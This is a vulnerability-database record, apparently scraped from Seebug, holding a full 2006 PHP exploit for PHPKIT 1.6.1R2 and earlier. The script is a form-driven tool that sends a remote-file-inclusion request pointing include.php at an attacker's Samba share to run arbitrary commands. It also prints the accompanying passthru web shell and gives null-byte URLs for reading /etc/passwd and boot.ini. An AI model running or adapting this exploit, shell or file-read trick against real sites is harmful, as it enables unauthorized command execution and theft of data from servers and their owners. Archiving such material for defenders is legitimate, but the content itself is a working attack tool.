Description
No description provided by source.
{"sourceData": "\n <?php\n# ---PHPKIT_161r2_incl_xpl.php 4.27 16/02/2006 #\n# #\n# PHPKIT <= 1.6.1R2 remote commands execution exploit #\n# coded by rgod #\n# site: http://retrogod.altervista.org #\n# #\n# -> works with allow_url_fopen = On #\n# usage: launch from Apache, fill in requested fields, then go! #\n# #\n# Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can #\n# see is the strategy out of which victory is evolved." #\n\n# also if magic_quotes_gpc = Off, you can view any file on target system by null\n# char injection:\n# http://[target]/[path]/include.php?path=/etc/passwd%00.php\n# http://[target]/[path]/include.php?path=c:\\boot.ini%00.php \n# 4 lines above added /str0ke\n\nerror_reporting(0);\nini_set("max_execution_time",0);\nini_set("default_socket_timeout",0);\nob_implicit_flush (1);\n\necho'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **\n</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:\n#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img\n{background-color: #FFFFFF !important} input {background-color: #303030\n!important} option { background-color: #303030 !important} textarea\n{background-color: #303030 !important} input {color: #1CB081 !important} option\n{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox\n{background-color: #303030 !important} select {font-weight: normal; color:\n#1CB081; background-color: #303030;} body {font-size: 8pt !important;\nbackground-color: #111111; body * {font-size: 8pt !important} h1 {font-size:\n0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em\n!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em\n!important} \th2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em\n!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:\nnormal !important} *{text-decoration: none !important} a:link,a:active,a:visited\n{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;\ncolor : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;\nfont-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;\nfont-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">\n* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a\nscript by rgod at <a href="http://retrogod.altervista.org"target="_blank">\nhttp://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">\n<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input\ntype="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)\n</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:\n/phpkit/ or just / ) </span></p><p><input type="text" name="cmd"> <span\nclass="Stile5"> * specify a command </span> </p> <p> <input type="text"\nname="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\\\\\\\192.\n168.1.2\\\\c\\\\path_to\\\\shell.php </span></p> <p> <input type="text" name="port">\n<span class="Stile5">specify a port other than 80 (default value)</span> </p>\n<p><input type="text" name="proxy"><span class="Stile5"> send exploit through\nan HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"\nvalue="go!"></p></form></td></tr></table></body></html>';\n\nfunction show($headeri)\n{\n $ii=0;$ji=0;$ki=0;$ci=0;\n echo '<table border="0"><tr>';\n while ($ii <= strlen($headeri)-1){\n $datai=dechex(ord($headeri[$ii]));\n if ($ji==16) {\n $ji=0;\n $ci++;\n echo "<td>&nbsp;&nbsp;</td>";\n for ($li=0; $li<=15; $li++) {\n echo "<td>".htmlentities($headeri[$li+$ki])."</td>";\n\t\t}\n $ki=$ki+16;\n echo "</tr><tr>";\n }\n if (strlen($datai)==1) {\n echo "<td>0".htmlentities($datai)."</td>";\n }\n else {\n echo "<td>".htmlentities($datai)."</td> ";\n }\n $ii++;$ji++;\n }\n for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {\n echo "<td>&nbsp&nbsp</td>";\n }\n for ($li=$ci*16; $li<=strlen($headeri); $li++) {\n echo "<td>".htmlentities($headeri[$li])."</td>";\n }\n echo "</tr></table>";\n}\n\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\n\nfunction sendpacket() //2x speed\n{\n global $proxy, $host, $port, $packet, $html, $proxy_regex;\n $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n if ($socket < 0) {\n echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";\n }\n else {\n $c = preg_match($proxy_regex,$proxy);\n if (!$c) {echo 'Not a valid prozy...';\n die;\n }\n echo "OK.<br>";\n echo "Attempting to connect to ".$host." on port ".$port."...<br>";\n if ($proxy=='') {\n $result = socket_connect($socket, $host, $port);\n }\n else {\n $parts =explode(':',$proxy);\n echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';\n $result = socket_connect($socket, $parts[0],$parts[1]);\n }\n if ($result < 0) {\n echo "socket_connect() failed.\\r\\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";\n }\n else {\n echo "OK.<br><br>";\n $html= '';\n socket_write($socket, $packet, strlen($packet));\n echo "Reading response:<br>";\n while ($out= socket_read($socket, 2048)) {$html.=$out;}\n echo nl2br(htmlentities($html));\n echo "Closing socket...";\n socket_close($socket);\n }\n }\n}\n\nfunction sendpacketii($packet)\n{\n global $proxy, $host, $port, $html, $proxy_regex;\n if ($proxy=='') {\n $ock=fsockopen(gethostbyname($host),$port);\n if (!$ock) {\n echo 'No response from '.htmlentities($host); die;\n }\n }\n else {\n\t$c = preg_match($proxy_regex,$proxy);\n if (!$c) {\n echo 'Not a valid prozy...';die;\n }\n $parts=explode(':',$proxy);\n echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';\n $ock=fsockopen($parts[0],$parts[1]);\n if (!$ock) {\n echo 'No response from proxy...';die;\n\t}\n }\n fputs($ock,$packet);\n if ($proxy=='') {\n $html='';\n while (!feof($ock)) {\n $html.=fgets($ock);\n }\n }\n else {\n $html='';\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n $html.=fread($ock,1);\n }\n }\n fclose($ock);echo nl2br(htmlentities($html));\n}\n\n$host=$_POST[host];$path=$_POST[path];\n$port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));\n$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];\necho "<span class=\\"Stile5\\">";\n\nif (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>''))\n{\n $port=intval(trim($port));\n if ($port=='') {$port=80;}\n if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\n if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\n $host=str_replace("\\r","",$host);$host=str_replace("\\n","",$host);\n $path=str_replace("\\r","",$path);$path=str_replace("\\n","",$path);\n\n # STEP X -> One and unique, arbitrary remote inclusion ...\n $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1\\r\\n";\n $packet.="Host: ".$host."\\r\\n";\n $packet.="User-Agent: GoogleBot 1.1\\r\\n";\n $packet.="Connection: Close\\r\\n\\r\\n";\n show($packet);\n sendpacketii($packet);\n if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}\n\t\t\t else {echo "Exploit failed...";}\n}\nelse\n{echo "Note: on \\\\\\\\someip\\\\path_to\\\\shell.php you need this code:<br><br>";\n echo nl2br(htmlentities("\n <?php\n ob_clean();echo\\"Hi Master!\\";ini_set(\\"max_execution_time\\",0);passthru(\\$_GET[CMD]);die;\n ?>\n "))."<br>";\n echo "Fill * required fields, optionally specify a proxy...";}\necho "</span>";\n?>\n\n# milw0rm.com [2006-02-16]\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-15854", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-15854", "type": "seebug", "viewCount": 13, "references": [], "lastseen": "2017-11-19T22:32:03", "published": "2006-02-16T00:00:00", "cvelist": [], "id": "SSV:15854", "enchantments_done": [], "modified": "2006-02-16T00:00:00", "title": "PHPKIT <= 1.6.1R2 (filecheck) Remote Commands Execution Exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645300755, "score": 1659785532, "epss": 1678851499}}
{}